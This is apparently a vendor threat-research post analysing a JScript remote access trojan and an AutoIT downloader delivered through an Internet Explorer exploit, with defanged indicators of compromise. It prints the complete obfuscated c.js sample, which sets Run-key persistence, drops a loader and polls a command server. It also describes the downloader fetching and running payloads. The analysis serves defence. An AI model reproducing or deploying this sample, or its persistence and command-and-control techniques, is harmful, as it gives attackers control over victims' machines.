This post is also available in: 日本語 (Japanese)
Executive Summary
Over the past few months, we have detected sophisticated script-based malware through Internet Explorer (IE) browser exploits that infect Windows Operating System (OS) users. We decided to investigate those scripts to identify their key features to demonstrate that they are attractive for attackers and so could lead to a trend worth paying attention to.
Indeed, with scripting languages, attackers have flexible and accessible tools to easily create sophisticated malware with multiple features and obfuscations. To demonstrate this, we chose two examples of script-based malware used to infect Windows OS users. Those examples were found from two separate sources, but came from the same IE browser exploit of the CVE-2019-0752 vulnerability. The first is a JScript Remote Access Trojan (RAT) that ensures persistence on the target system and then uses encoded network connection to connect to the attacker. After that, the attacker can execute arbitrary commands on the target machine to have potentially full control of it. The second is an AutoIT downloader that uses network connection and script functions to download and execute malware, which could be used to infect targeted systems with malware such as ransomware, spyware and so on.
Finally, to give more details about scripting languages used for script-based malware, we explore possible explanations for the attackers’ choice to use scripts instead of regular executables as the payload in the browser exploit.
Organizations with up-to-date Windows hosts that follow security best practices for secure web browsing have a much lower risk of infection. Palo Alto Networks customers are protected from this threat via IPS signatures. URL Filtering and WildFire both identify related samples and infrastructure as malware.
CVE-2019-0752
CVE-2019-0752 is a Scripting Engine Memory Corruption Vulnerability that was patched in April 2019. It can lead to remote code execution (RCE) on a target machine. In the case we examined, the exploit of the vulnerability was used to execute PowerShell commands to download the two samples presented here. A detailed exploit writeup of the CVE-2019-0752 vulnerability can be found in this Zero Day Initiative Blog Post.
JScript RAT in Our Browser
We observed the c.js JScript RAT downloaded from the assurancetemporaireenligne[.]com domain on April 18. The PowerShell command used by the exploit of the CVE-2019-0752 vulnerability can be found in Figure 1. In this section, we will focus on the analysis of the c.js file. First, we will cover the static analysis of the file so we can have a good overview of the malicious script. Then we will use dynamic analysis to clearly expose the behavior of the script, especially the technique used by the malicious script to ensure persistence on the target machine and to connect to the remote server.
Static Analysis of the c.js File
The c.js script below is an obfuscated script that doesn’t give any hint of its behavior at first glance.
1 |
var _0xd766=["\x31\x6D\x20\x31\x75\x3D\x22\x31\x44\x22\x3B\x31\x6D\x20\x32\x66\x3D\x22\x32\x31\x3A\x2F\x2F\x32\x30\x2E\x31\x56\x2E\x31\x4A\x2F\x31\x46\x2F\x31\x54\x2F\x31\x4F\x22\x3B\x31\x6D\x20\x32\x34\x3D\x22\x31\x46\x2E\x31\x4B\x22\x3B\x31\x6D\x20\x31\x52\x3D\x22\x31\x48\x22\x3B\x31\x6D\x20\x32\x35\x3D\x27\x31\x43\x20\x7B\x62\x28\x29\x3B\x7D\x20\x31\x42\x20\x28\x62\x29\x20\x7B\x31\x53\x28\x31\x6A\x28\x70\x2C\x61\x2C\x63\x2C\x6B\x2C\x65\x2C\x64\x29\x7B\x65\x3D\x31\x6A\x28\x63\x29\x7B\x31\x6B\x28\x63\x3C\x61\x3F\x5C\x27\x5C\x27\x3A\x65\x28\x31\x50\x28\x63\x2F\x61\x29\x29\x29\x2B\x28\x28\x63\x3D\x63\x25\x61\x29\x3E\x33\x35\x3F\x31\x79\x2E\x31\x57\x28\x63\x2B\x32\x39\x29\x3A\x63\x2E\x31\x71\x28\x33\x36\x29\x29\x7D\x3B\x31\x72\x28\x21\x5C\x27\x5C\x27\x2E\x31\x78\x28\x2F\x5E\x2F\x2C\x31\x79\x29\x29\x7B\x31\x7A\x28\x63\x2D\x2D\x29\x7B\x64\x5B\x65\x28\x63\x29\x5D\x3D\x6B\x5B\x63\x5D\x7C\x7C\x65\x28\x63\x29\x7D\x6B\x3D\x5B\x31\x6A\x28\x65\x29\x7B\x31\x6B\x20\x64\x5B\x65\x5D\x7D\x5D\x3B\x65\x3D\x31\x6A\x28\x29\x7B\x31\x6B\x5C\x27\x5C\x5C\x5C\x5C\x77\x2B\x5C\x27\x7D\x3B\x63\x3D\x31\x7D\x3B\x31\x7A\x28\x63\x2D\x2D\x29\x7B\x31\x72\x28\x6B\x5B\x63\x5D\x29\x7B\x70\x3D\x70\x2E\x31\x78\x28\x31\x41\x20\x31\x51\x28\x5C\x27\x5C\x5C\x5C\x5C\x62\x5C\x27\x2B\x65\x28\x63\x29\x2B\x5C\x27\x5C\x5C\x5C\x5C\x62\x5C\x27\x2C\x5C\x27\x67\x5C\x27\x29\x2C\x6B\x5B\x63\x5D\x29\x7D\x7D\x31\x6B\x20\x70\x7D\x28\x5C\x27\x33\x20\x79\x3D\x63\x28\x42\x2C\x61\x29\x7B\x33\x20\x39\x3D\x5C\x5C\x5C\x27\x5C\x5C\x5C\x27\x3B\x6B\x28\x33\x20\x69\x3D\x30\x3B\x69\x3C\x61\x2E\x7A\x3B\x69\x2B\x2B\x29\x7B\x39\x3D\x39\x2B\x47\x2E\x6E\x28\x61\x2E\x4A\x28\x69\x29\x2E\x50\x28\x30\x29\x5E\x42\x29\x7D\x68\x20\x39\x7D\x3B\x33\x20\x78\x3D\x63\x28\x61\x29\x7B\x33\x20\x39\x3D\x22\x22\x3B\x33\x20\x64\x3D\x61\x2E\x52\x28\x2F\x2E\x7B\x31\x2C\x32\x7D\x2F\x67\x29\x7C\x7C\x5B\x5D\x3B\x6B\x28\x33\x20\x69\x3D\x30\x3B\x69\x3C\x64\x2E\x7A\x3B\x69\x2B\x2B\x29\x7B\x39\x2B\x3D\x47\x2E\x6E\x28\x54\x28\x64\x5B\x69\x5D\x2C\x31\x36\x29\x29\x7D\x3B\x68\x20\x39\x7D\x3B\x33\x20\x71\x3D\x63\x28\x6C\x2C\x73\x29\x7B\x68\x20\x74\x2E\x51\x28\x74\x2E\x53\x28\x29\x2A\x28\x73\x2D\x6C\x2B\x31\x29\x29\x2B\x6C\x7D\x3B\x33\x20\x62\x3D\x71\x28\x31\x2C\x4F\x29\x3B\x33\x20\x66\x3D\x22\x6F\x3A\x2F\x2F\x6D\x2E\x77\x2E\x76\x2F\x6A\x2F\x46\x2F\x48\x2F\x6A\x2E\x49\x3F\x72\x3D\x22\x2B\x62\x2E\x4B\x28\x29\x3B\x33\x20\x45\x3D\x22\x43\x22\x3B\x6B\x28\x3B\x3B\x29\x7B\x4C\x7B\x38\x3D\x44\x20\x4E\x28\x22\x4D\x2E\x55\x2E\x35\x2E\x31\x22\x29\x3B\x38\x2E\x31\x64\x28\x22\x31\x63\x22\x2C\x66\x2C\x30\x29\x3B\x70\x3D\x22\x31\x62\x2F\x34\x2E\x30\x20\x28\x31\x65\x3B\x20\x31\x66\x20\x37\x2E\x30\x3B\x20\x56\x20\x31\x68\x20\x36\x2E\x30\x29\x22\x3B\x75\x3D\x22\x31\x39\x2D\x31\x30\x22\x3B\x38\x2E\x31\x61\x28\x75\x2C\x70\x29\x3B\x38\x2E\x5A\x28\x29\x3B\x38\x2E\x59\x28\x29\x3B\x57\x28\x38\x2E\x58\x3D\x3D\x31\x31\x29\x7B\x33\x20\x41\x3D\x22\x33\x20\x66\x3D\x5C\x5C\x5C\x5C\x22\x6F\x3A\x2F\x2F\x6D\x2E\x77\x2E\x76\x2F\x6A\x2F\x46\x2F\x48\x2F\x31\x32\x2E\x49\x5C\x5C\x5C\x5C\x22\x3B\x33\x20\x45\x3D\x5C\x5C\x5C\x5C\x22\x43\x5C\x5C\x5C\x5C\x22\x3B\x22\x2B\x79\x28\x62\x2C\x78\x28\x38\x2E\x31\x38\x29\x29\x3B\x44\x20\x31\x37\x28\x41\x29\x28\x29\x7D\x7D\x31\x35\x28\x65\x29\x7B\x7D\x3B\x31\x33\x2E\x31\x34\x28\x31\x67\x29\x7D\x3B\x5C\x27\x2C\x32\x6F\x2C\x32\x37\x2C\x5C\x27\x7C\x7C\x7C\x31\x6D\x7C\x7C\x7C\x7C\x7C\x32\x63\x7C\x32\x64\x7C\x32\x61\x7C\x32\x38\x7C\x31\x6A\x7C\x32\x36\x7C\x7C\x32\x6D\x7C\x7C\x31\x6B\x7C\x7C\x31\x46\x7C\x32\x43\x7C\x32\x7A\x7C\x32\x30\x7C\x31\x57\x7C\x32\x31\x7C\x32\x75\x7C\x32\x76\x7C\x7C\x32\x78\x7C\x32\x77\x7C\x32\x42\x7C\x31\x4A\x7C\x31\x56\x7C\x32\x71\x7C\x32\x72\x7C\x32\x73\x7C\x31\x48\x7C\x32\x74\x7C\x31\x44\x7C\x31\x41\x7C\x31\x75\x7C\x31\x54\x7C\x31\x79\x7C\x31\x4F\x7C\x32\x41\x7C\x32\x47\x7C\x31\x71\x7C\x31\x43\x7C\x32\x48\x7C\x32\x49\x7C\x32\x46\x7C\x32\x45\x7C\x32\x70\x7C\x32\x44\x7C\x32\x4A\x7C\x31\x50\x7C\x32\x4B\x7C\x32\x32\x7C\x31\x72\x7C\x32\x65\x7C\x32\x62\x7C\x32\x6C\x7C\x32\x6E\x7C\x32\x6B\x7C\x32\x6A\x7C\x31\x6C\x7C\x32\x67\x7C\x31\x42\x7C\x7C\x31\x55\x7C\x32\x68\x7C\x32\x69\x7C\x32\x79\x7C\x32\x58\x7C\x33\x61\x7C\x33\x63\x7C\x33\x64\x7C\x33\x65\x7C\x33\x62\x7C\x33\x37\x5C\x27\x2E\x31\x4E\x28\x5C\x27\x7C\x5C\x27\x29\x2C\x30\x2C\x7B\x7D\x29\x29\x7D\x3B\x27\x3B\x31\x6D\x20\x31\x77\x3D\x27\x31\x43\x20\x7B\x61\x28\x29\x3B\x7D\x20\x31\x42\x20\x28\x33\x38\x29\x20\x7B\x31\x53\x28\x31\x6A\x28\x70\x2C\x61\x2C\x63\x2C\x6B\x2C\x65\x2C\x64\x29\x7B\x65\x3D\x31\x6A\x28\x63\x29\x7B\x31\x6B\x20\x63\x2E\x31\x71\x28\x33\x36\x29\x7D\x3B\x31\x72\x28\x21\x5C\x27\x5C\x27\x2E\x31\x78\x28\x2F\x5E\x2F\x2C\x31\x79\x29\x29\x7B\x31\x7A\x28\x63\x2D\x2D\x29\x7B\x64\x5B\x63\x2E\x31\x71\x28\x61\x29\x5D\x3D\x6B\x5B\x63\x5D\x7C\x7C\x63\x2E\x31\x71\x28\x61\x29\x7D\x6B\x3D\x5B\x31\x6A\x28\x65\x29\x7B\x31\x6B\x20\x64\x5B\x65\x5D\x7D\x5D\x3B\x65\x3D\x31\x6A\x28\x29\x7B\x31\x6B\x5C\x27\x5C\x5C\x5C\x5C\x77\x2B\x5C\x27\x7D\x3B\x63\x3D\x31\x7D\x3B\x31\x7A\x28\x63\x2D\x2D\x29\x7B\x31\x72\x28\x6B\x5B\x63\x5D\x29\x7B\x70\x3D\x70\x2E\x31\x78\x28\x31\x41\x20\x31\x51\x28\x5C\x27\x5C\x5C\x5C\x5C\x62\x5C\x27\x2B\x65\x28\x63\x29\x2B\x5C\x27\x5C\x5C\x5C\x5C\x62\x5C\x27\x2C\x5C\x27\x67\x5C\x27\x29\x2C\x6B\x5B\x63\x5D\x29\x7D\x7D\x31\x6B\x20\x70\x7D\x28\x5C\x27\x34\x20\x30\x3D\x22\x5C\x5C\x5C\x5C\x5C\x5C\x5C\x5C\x22\x3B\x35\x20\x33\x28\x31\x2E\x32\x28\x22\x31\x2E\x62\x22\x29\x2E\x36\x28\x22\x39\x22\x2B\x30\x2B\x22\x38\x22\x2B\x30\x2B\x22\x37\x22\x2B\x30\x2B\x22\x61\x22\x29\x29\x28\x29\x3B\x5C\x27\x2C\x31\x32\x2C\x31\x32\x2C\x5C\x27\x31\x69\x7C\x31\x6C\x7C\x31\x73\x7C\x31\x55\x7C\x31\x6D\x7C\x31\x41\x7C\x33\x33\x7C\x31\x44\x7C\x31\x47\x7C\x31\x49\x7C\x31\x48\x7C\x31\x4D\x5C\x27\x2E\x31\x4E\x28\x5C\x27\x7C\x5C\x27\x29\x2C\x30\x2C\x7B\x7D\x29\x29\x7D\x3B\x27\x3B\x31\x69\x3D\x22\x5C\x5C\x22\x3B\x31\x74\x3D\x22\x22\x3B\x31\x6F\x3D\x31\x6C\x2E\x31\x73\x28\x22\x31\x6C\x2E\x31\x4D\x22\x29\x3B\x31\x4C\x3D\x31\x6C\x2E\x31\x73\x28\x22\x31\x5A\x2E\x32\x51\x22\x29\x3B\x31\x77\x3D\x31\x4C\x2E\x32\x52\x28\x22\x2E\x31\x4B\x22\x2C\x31\x77\x2C\x30\x2C\x22\x22\x29\x3B\x31\x74\x3D\x31\x74\x2B\x22\x65\x22\x3B\x31\x76\x3D\x22\x31\x49\x22\x2B\x31\x69\x2B\x22\x31\x47\x22\x2B\x31\x69\x2B\x31\x75\x2B\x31\x69\x2B\x31\x52\x3B\x31\x6F\x2E\x31\x58\x28\x31\x76\x2C\x32\x35\x29\x3B\x31\x45\x3D\x31\x6F\x2E\x32\x53\x28\x22\x25\x32\x50\x25\x22\x29\x3B\x31\x6F\x2E\x32\x4F\x3D\x31\x45\x3B\x31\x70\x3D\x31\x45\x2B\x31\x69\x2B\x32\x34\x2B\x31\x74\x3B\x31\x76\x3D\x22\x31\x49\x22\x2B\x31\x69\x2B\x22\x31\x47\x22\x2B\x31\x69\x2B\x22\x32\x4C\x22\x2B\x31\x69\x2B\x22\x32\x32\x22\x2B\x31\x69\x2B\x22\x33\x34\x22\x2B\x31\x69\x2B\x22\x32\x33\x22\x2B\x31\x69\x2B\x31\x75\x3B\x31\x6F\x2E\x31\x58\x28\x31\x76\x2C\x31\x70\x29\x3B\x31\x6E\x3D\x31\x6C\x2E\x31\x73\x28\x22\x32\x4D\x2E\x32\x4E\x22\x29\x3B\x31\x6E\x2E\x32\x54\x28\x29\x3B\x31\x6E\x2E\x32\x55\x3D\x32\x3B\x31\x6E\x2E\x33\x30\x3D\x30\x3B\x31\x6E\x2E\x33\x31\x28\x31\x77\x29\x3B\x31\x6E\x2E\x33\x32\x28\x31\x70\x2C\x32\x29\x3B\x31\x6E\x2E\x32\x5A\x28\x29\x3B\x31\x6F\x2E\x32\x33\x28\x27\x22\x27\x2B\x31\x70\x2B\x27\x22\x27\x2C\x30\x2C\x32\x59\x29\x3B\x31\x59\x3D\x31\x6C\x2E\x31\x73\x28\x22\x31\x5A\x2E\x32\x56\x22\x29\x3B\x31\x70\x3D\x31\x6C\x2E\x32\x57\x3B\x31\x59\x2E\x33\x39\x28\x31\x70\x29\x3B","\x7C","\x73\x70\x6C\x69\x74","\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x6F\x74\x70\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x72\x65\x74\x75\x72\x6E\x7C\x57\x53\x63\x72\x69\x70\x74\x7C\x76\x61\x72\x7C\x73\x74\x72\x65\x61\x6D\x7C\x53\x68\x65\x6C\x6C\x4F\x62\x6A\x7C\x50\x61\x74\x68\x58\x7C\x74\x6F\x53\x74\x72\x69\x6E\x67\x7C\x69\x66\x7C\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74\x7C\x65\x78\x74\x7C\x61\x75\x74\x6F\x6E\x61\x6D\x65\x7C\x52\x65\x67\x50\x61\x74\x68\x7C\x64\x61\x74\x61\x32\x7C\x72\x65\x70\x6C\x61\x63\x65\x7C\x53\x74\x72\x69\x6E\x67\x7C\x77\x68\x69\x6C\x65\x7C\x6E\x65\x77\x7C\x63\x61\x74\x63\x68\x7C\x74\x72\x79\x7C\x6C\x6F\x61\x64\x65\x72\x4E\x61\x6D\x65\x7C\x50\x61\x74\x68\x59\x7C\x6C\x6F\x61\x64\x65\x72\x7C\x53\x6F\x66\x74\x77\x61\x72\x65\x7C\x64\x61\x74\x61\x7C\x48\x4B\x43\x55\x7C\x6E\x65\x74\x7C\x6A\x73\x7C\x45\x6E\x63\x4F\x62\x6A\x7C\x53\x68\x65\x6C\x6C\x7C\x73\x70\x6C\x69\x74\x7C\x77\x77\x77\x7C\x70\x61\x72\x73\x65\x49\x6E\x74\x7C\x52\x65\x67\x45\x78\x70\x7C\x72\x65\x67\x6E\x61\x6D\x65\x7C\x65\x76\x61\x6C\x7C\x6C\x6F\x61\x64\x65\x72\x32\x7C\x46\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x64\x64\x6E\x73\x7C\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65\x7C\x52\x65\x67\x57\x72\x69\x74\x65\x7C\x46\x73\x6F\x4F\x62\x6A\x7C\x53\x63\x72\x69\x70\x74\x69\x6E\x67\x7C\x73\x65\x65\x6D\x65\x65\x7C\x68\x74\x74\x70\x7C\x57\x69\x6E\x64\x6F\x77\x73\x7C\x52\x75\x6E\x7C\x62\x6F\x74\x6E\x61\x6D\x65\x7C\x64\x61\x74\x61\x31\x7C\x68\x65\x7C\x38\x30\x7C\x63\x6F\x64\x7C\x7C\x73\x74\x7C\x57\x61\x69\x74\x46\x6F\x72\x52\x65\x73\x70\x6F\x6E\x73\x65\x7C\x58\x6D\x6C\x68\x74\x74\x70\x4F\x62\x6A\x7C\x72\x65\x73\x7C\x73\x74\x61\x74\x75\x73\x7C\x68\x6F\x73\x74\x7C\x53\x6C\x65\x65\x70\x7C\x52\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74\x7C\x55\x73\x65\x72\x7C\x63\x6D\x64\x7C\x32\x30\x30\x7C\x73\x65\x6E\x64\x7C\x73\x65\x72\x76\x65\x72\x7C\x41\x67\x65\x6E\x74\x7C\x36\x32\x7C\x66\x6C\x6F\x6F\x72\x7C\x64\x68\x7C\x65\x6E\x7C\x6C\x65\x6E\x67\x74\x68\x7C\x6B\x65\x79\x7C\x55\x73\x72\x61\x7C\x72\x6E\x64\x7C\x4D\x61\x74\x68\x7C\x6D\x61\x78\x7C\x53\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72\x7C\x6D\x69\x6E\x7C\x70\x68\x70\x7C\x55\x73\x72\x62\x7C\x66\x6F\x72\x7C\x6D\x61\x74\x63\x68\x7C\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74\x7C\x32\x35\x35\x7C\x63\x68\x61\x72\x41\x74\x7C\x57\x69\x6E\x48\x74\x74\x70\x7C\x41\x63\x74\x69\x76\x65\x58\x4F\x62\x6A\x65\x63\x74\x7C\x72\x61\x6E\x64\x6F\x6D\x7C\x57\x69\x6E\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74\x7C\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x7C\x41\x44\x4F\x44\x42\x7C\x53\x74\x72\x65\x61\x6D\x7C\x43\x75\x72\x72\x65\x6E\x74\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x7C\x41\x50\x50\x44\x41\x54\x41\x7C\x45\x6E\x63\x6F\x64\x65\x72\x7C\x45\x6E\x63\x6F\x64\x65\x53\x63\x72\x69\x70\x74\x46\x69\x6C\x65\x7C\x65\x78\x70\x61\x6E\x64\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x53\x74\x72\x69\x6E\x67\x73\x7C\x4F\x70\x65\x6E\x7C\x54\x79\x70\x65\x7C\x46\x69\x6C\x65\x53\x79\x73\x74\x65\x6D\x4F\x62\x6A\x65\x63\x74\x7C\x53\x63\x72\x69\x70\x74\x46\x75\x6C\x6C\x4E\x61\x6D\x65\x7C\x4D\x6F\x7A\x69\x6C\x6C\x61\x7C\x66\x61\x6C\x73\x65\x7C\x43\x6C\x6F\x73\x65\x7C\x50\x6F\x73\x69\x74\x69\x6F\x6E\x7C\x57\x72\x69\x74\x65\x54\x65\x78\x74\x7C\x53\x61\x76\x65\x54\x6F\x46\x69\x6C\x65\x7C\x52\x65\x67\x52\x65\x61\x64\x7C\x43\x75\x72\x72\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x7C\x7C\x7C\x4E\x54\x7C\x61\x61\x7C\x44\x65\x6C\x65\x74\x65\x46\x69\x6C\x65\x7C\x67\x65\x74\x7C\x35\x30\x30\x30\x7C\x6F\x70\x65\x6E\x7C\x63\x6F\x6D\x70\x61\x74\x69\x62\x6C\x65\x7C\x4D\x53\x49\x45","","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x72\x65\x70\x6C\x61\x63\x65","\x5C\x77\x2B","\x5C\x62","\x67"];try{s()}catch(s){eval(function(_0xcddfx1,_0xcddfx2,_0xcddfx3,_0xcddfx4,_0xcddfx5,_0xcddfx6){_0xcddfx5= function(_0xcddfx3){return (_0xcddfx3< _0xcddfx2?_0xd766[4]:_0xcddfx5(parseInt(_0xcddfx3/ _0xcddfx2)))+ ((_0xcddfx3= _0xcddfx3% _0xcddfx2)> 35?String[_0xd766[5]](_0xcddfx3+ 29):_0xcddfx3.toString(36))};if(!_0xd766[4][_0xd766[6]](/^/,String)){while(_0xcddfx3--){_0xcddfx6[_0xcddfx5(_0xcddfx3)]= _0xcddfx4[_0xcddfx3]|| _0xcddfx5(_0xcddfx3)};_0xcddfx4= [function(_0xcddfx5){return _0xcddfx6[_0xcddfx5]}];_0xcddfx5= function(){return _0xd766[7]};_0xcddfx3= 1};while(_0xcddfx3--){if(_0xcddfx4[_0xcddfx3]){_0xcddfx1= _0xcddfx1[_0xd766[6]]( new RegExp(_0xd766[8]+ _0xcddfx5(_0xcddfx3)+ _0xd766[8],_0xd766[9]),_0xcddfx4[_0xcddfx3])}};return _0xcddfx1}(_0xd766[0],62,201,_0xd766[3][_0xd766[2]](_0xd766[1]),0,{}))} |
After deobfuscation, we can see in Figure 2 that two packed pieces of JScript code are stored in data1 and data2.
Figure 3 shows that the code stored in data1 is put in the HKCU\Software\loaderName register key and the code stored in data2 is encoded using the EncodeScriptFile function and written into the loader.jse file. The path to the loader.jse script is then passed to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run register key and never used again after that (we will give more details about this behavior in the next section). There is also a host variable initialized with the hxxp://seemee[.]ddns[.]net/loader/loader2/www URL. The variable is never used in the script, but it can give a hint of a network activity during the execution. Finally, the loader.jse is run and c.js deletes itself.
Now that we have a good overview of the malicious script code, let's enter into the details of its behavior with dynamic analysis.
Technique to Ensure Persistence
First, the c.js script creates and sets a new value for the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run. This value, named loaderName, is set with a path to a certain loader.jse file, as we can see in Figure 4 below.
The Run key causes programs to run each time that a user logs on, and so the loader.jse script, which is not created yet, will run automatically each time the Windows OS boots. The next step of the persistence process of the c.js script is demonstrated in Figure 5, where the script creates the actual loader.jse file. Figure 5 also shows that the loader.jse script is created in the AppData folder. This folder is a hidden folder by default on Windows OS, so it is therefore harder for the target to detect the malicious file present in the system.
After the creation of the loader.jse file, the c.js script uses the open handle of this file, as shown in Figure 6, to put some code in it, as shown in Figure 7.
Figure 7 also shows that the code written in the file is obfuscated. Thanks to the magic bytes “#@~^” present at the beginning of the file, we can conclude that the loader.jse script has been encoded with Microsoft's script encoding. This is consistent with our static analysis. Then, the encoded file is run via the ShellExecute function (Figure 8) and the c.js file deletes itself.
To sum up, to ensure persistence on the targeted host, the c.js file tries to not leave traces behind. To do that, it uses the Windows registry key Run, and then it drops an encoded file, loader.jse, in a hidden folder before deleting itself.
Connection to the Remote Server
Before we can analyze the behavior of the loader.jse and the connection to the remote server, we have to go back to the c.js file execution. Indeed, as we saw during our static analysis, this file also creates a registry key named HKCU\Software\loaderName and sets a value data in this key with some packed JScript code. This action can also be seen in Figure 9.
This step in the c.js execution is very important because when the loader.jse is run, it opens the registry key HKCU\Software\loaderName (Figure 10) and runs the code contained in the data value.
Now, when we take a look at the packed code in the registry key loaderName, we can notice the function(p,a,c,k,e,d) pattern in it (Figure 11). This pattern is an indicator that the Dean Edwards packer was used to obfuscate the code. This packer is outdated now but when it was common, it was widely used by benign scripts. Because of this, it was whitelisted by many kinds of detection technologies.
After the code unpacking, Figure 12 shows that a GET request is made to the loader.php page of the hxxp://seemee[.]ddns [.]net domain. An argument r, which is a random number shared between the malicious script and the remote server, is used like a token to encode and decode the data sent and received through the network. Another function with the ability to decode strings is used here to decode the response of the GET request. The connection with the remote server is now set up, and so the malicious script will use the code received in the response to the GET request to connect to the cmd.php page, which is the panel where the attacker can choose commands to execute on the target machine.
The script contained in the request’s response is an infinite loop that makes requests to the cmd.php page to retrieve indications of the tasks to execute (Figure 13).
The attacker can perform multiple tasks on the target system: execute commands, download files, reboot the Windows OS, terminate the current task and shut down the Windows OS (Figure 14).
AutoIT Downloader
Shortly after the discovery of the JScript RAT, on April 30, 2020, we observed the 2.exe file downloaded from the dark[.]crypterfile[.]com domain using the same vulnerability CVE-2019-0752 (Figure 15). This section will focus on the analysis of the compiled AutoIT script.
Technical Analysis
When we disassemble the Portable Executable (PE) file, we notice a clue that we are in the presence of a compiled AutoIT script. Indeed, in the code there is a check to see if we are running the PE file with a debugger (Figure 16). If it is the case, a message box pops up with the message,”This is a third party compiled AutoIT script” (Figure 17).
After the decompilation of the code (Figure 18) using an AutoIT script decompiler, we notice two parts in it. The first part manages the retrieval of the system information. This information is stored in the $asysinfo array. Then there is a check on the sixth element of this array, which corresponds to the number of logical processors. The check verifies whether the number of logical processors is greater than or equal to four, and it brings us to the second part of the script: the malicious files download. Using the InetGet and Run AutoIT functions, the malicious script downloads and executes multiple files on the target system. The last file downloaded is stored in the Current User Startup folder, so this file will be executed each time the user logs in to the Windows OS. This allows the attacker to ensure persistence on the targeted system.
Possible Reasons to Use Scripts
After the analysis of the two samples, we have a good overview of how attackers use scripts to carry out their malicious activities on a target system. In this section, we focus on the reasons that could lead an attacker to choose a script instead of a regular executable file.
First of all, scripting languages such as JScript, VBScript and even AutoIT were originally made to automate and simplify the execution of tasks in the Windows environment, and so these languages have multiple functions to ease the calls to Windows API. Due to the ease of use of these functions, it is pretty simple for an attacker to establish a network connection or to interact with the Windows environment – for example, to execute shell commands. Scripting languages are also often higher level than C or C++, and are easier to learn and more accessible for attackers. With just a few lines of code, attackers can build a working and flexible malicious program with lots of features like network connection, persistence on the targeted system, execution of commands, etc.
Furthermore, attackers can use lots of different techniques and tools to obfuscate their malicious scripts. This can involve very straightforward tools like Microsoft's script encoding, when the attacker is looking primarily for fast results, or it can take the form of very heavy obfuscations that will be challenging for analysts to deobfuscate. This again illustrates the flexibility of scripts.
Finally, malicious scripts allow attackers to create heavy obfuscation if they choose to, meaning that the malicious scripts can evade different kinds of detections and so bypass anti-malware technologies. Once the script-based malware is detected and tagged as malware by defenders, it is easier and faster for attackers to develop new variants to evade current detections if they are using scripting languages.
Conclusion
The samples presented are two examples of how attackers can use scripts to engage in malicious activities on Windows target machines. Those scripts do not reinvent the wheel, but they do offer flexibility and accessibility to attackers. As we saw in our analyses, these advantages allow the attackers to execute commands and so potentially have full control over target machines. For these reasons, attackers may have an incentive to choose this option.
Organizations with up-to-date Windows hosts that follow security best practices for secure web browsing have a much lower risk of infection. Palo Alto Networks customers are further protected from this threat. Indeed, customers are currently covered for the CVE-2019-0752 vulnerability by our IPS signature 55438. URL Filtering and WildFire also protect our customers from the kinds of attacks described here.
IOCs
JScript Sample
SHA256 hashes
c.js:
751D161ED4AFD822925C0373395F014578F166467D20A4B1ADFDB27FD0A83C36
loader.jse:
CCCF25DCD1FA16017B2ACCF4BC501BE583824423FC3A09779116AE07D833F2B2
HTTP URLs
hxxp://assurancetemporaireenligne[.]com/c[.]js
hxxp://seemee[.]ddns[.]net/loader/loader2/www/loader[.]php
hxxp://seemee[.]ddns[.]net/loader/loader2/www/cmd[.]php
AutoIT Downloader Sample
SHA256 hashes
2.exe:
BA60EFE2E939DA16E3D240732FDA286FBD3DB3A0F06CB12D7042C7FAC9B82B86
HTTP URLs
hxxp://dark[.]crypterfile[.]com/2[.]exe
hxxp://dark[.]crypterfile[.]com/1/desktop[.]exe
hxxp://dark[.]crypterfile[.]com/1/99[.]exe
hxxp://dark[.]crypterfile[.]com/1/Calc[.]vbs
hxxp://dark[.]crypterfile[.]com/1/calculator[.]exe
hxxp://dark[.]crypterfile[.]com/1/calc[.]exe